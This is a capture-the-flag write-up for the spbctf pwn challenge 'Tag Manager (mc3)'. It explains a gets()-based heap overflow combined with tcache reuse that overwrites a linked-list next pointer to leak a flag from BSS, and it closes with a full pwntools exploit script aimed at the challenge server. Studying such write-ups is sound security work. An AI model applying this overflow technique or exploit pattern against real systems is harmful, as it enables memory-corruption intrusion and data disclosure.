Tag Manager (mc3)
Tag Manager (mc3)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: bss_global_leak, fake_node_crafting, heap_overflow, next_pointer_overwrite, tcache_reuse
Summary
Task: heap tag manager (malloc(8) nodes) where new_tag writes the label PAST the chunk via unbounded gets(), giving a linear heap overflow into the adjacent chunk's next pointer. Solution: free the lower chunk, reuse its tcache slot to overflow an earlier node's next pointer to 0x6020d8 so the list walker prints node+8 == the FLAG BSS global — no code exec needed.
Tag Manager (mc3) — pwn_spbctf
Description
Tag Manager — Mic Check (heap, tier pwn7). Author: Vlad Roskov (@mrvos). "Pwn the tag manager to ..." Remote:
nc 109.233.56.90 11713(pwn.spbctf.ru)
A menu-driven "tag manager" that keeps tags in a singly-linked list. The flag
is read from flag.txt into a BSS global at startup. Goal: make the program
reveal the flag through its normal list-printing functionality.
Analysis
Binary properties (mc3.elf):
- NON-PIE (loaded at
0x400000) → fixed global addresses. - NX, Partial RELRO, STACK CANARY, not stripped.
Relevant globals:
HEAD @ 0x6020c0— head pointer of the singly-linked tag list.FLAG @ 0x6020e0— contents offlag.txt, loaded once at startup viafgets(FLAG, 0x80, fp).
Tag node layout — each tag is a malloc(8) chunk:
node+0x00: next_ptr (8 bytes)
node+0x08: label string ... <-- WRITTEN PAST THE 8-BYTE ALLOCATION
Menu (scanf("%1s%*c"), single char):
llist_tags: walkHEAD,printf("- %s\n", node+8), thennode = *node.nnew_tag:node = malloc(8); node->next = HEAD; HEAD = node; gets(node+8).rrename_tag:gets([rbp-0x20])thengets(found+8).ddelete_tag:gets([rbp-0x20]), unlink +free.
The bug: new_tag writes the label at node+8 with an unbounded
gets() on a malloc(8) chunk. The label therefore starts past the 8-byte
allocation and overflows linearly into the adjacent (higher-address) chunk,
including that chunk's next_ptr field. (There are also unused stack overflows
in rename/delete via gets([rbp-0x20]), but they are not needed.)
Win idea — no code execution required. list_tags prints the label found at
node+8. The flag lives at 0x6020e0. If a "node" sat at address 0x6020d8,
then node+8 == 0x6020d8 + 8 == 0x6020e0 == FLAG. So if we make any real node's
next pointer equal 0x6020d8, the list walker will treat 0x6020d8 as the
next node and printf("%s", 0x6020e0) — leaking the flag.
Solution
Heap geometry: consecutive malloc(8) chunks are 0x20 apart, and newer
allocations sit at higher addresses (further from the top). The overflow in
new_tag grows upward (toward higher addresses). To overwrite the next
pointer of an earlier (higher) node, we first free the lower chunk and reuse
its slot via tcache, then overflow upward from that reused low slot into the
higher node's next field.
Chain:
new A→ node A at a low address.new B→ node B at a higher address (B was allocated later → higher).delete A→ A's chunk goes into tcache.new C→ C reuses A's freed low slot. Its label isb"C"*0x18 + p64(0x6020d8):0x18bytes of padding fills the rest of C's0x20-spaced chunk (label at+0x8, so0x20 - 0x8 = 0x18), and the next 8 bytes overwrite B'snextpointer with0x6020d8.list→ walker reaches B, followsnext = 0x6020d8, treats it as a node, and prints its label at0x6020d8 + 8 = 0x6020e0 = FLAG.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST, PORT = "109.233.56.90", 11713 FLAG_NODE = 0x6020d8 # so node+8 == FLAG (0x6020e0) context.log_level = "info" io = remote(HOST, PORT) def menu(c): io.recvuntil(b"choice: ") io.sendline(c) def new(label): menu(b"n"); io.recvuntil(b"label: "); io.sendline(label) def delete(label): menu(b"d"); io.recvuntil(b"delete: "); io.sendline(label) new(b"AAAA") # A (low addr) new(b"BBBB") # B (high addr) delete(b"AAAA") # free A -> tcache new(b"C"*0x18 + p64(FLAG_NODE)) # C reuses A slot, overflow B->next = 0x6020d8 menu(b"l") data = io.recvuntil(b"total", timeout=5) print(data.decode(errors="replace")) m = re.search(rb"spbctf\{[^}]*\}", data) if m: print("\n[+] FLAG:", m.group().decode()) io.close()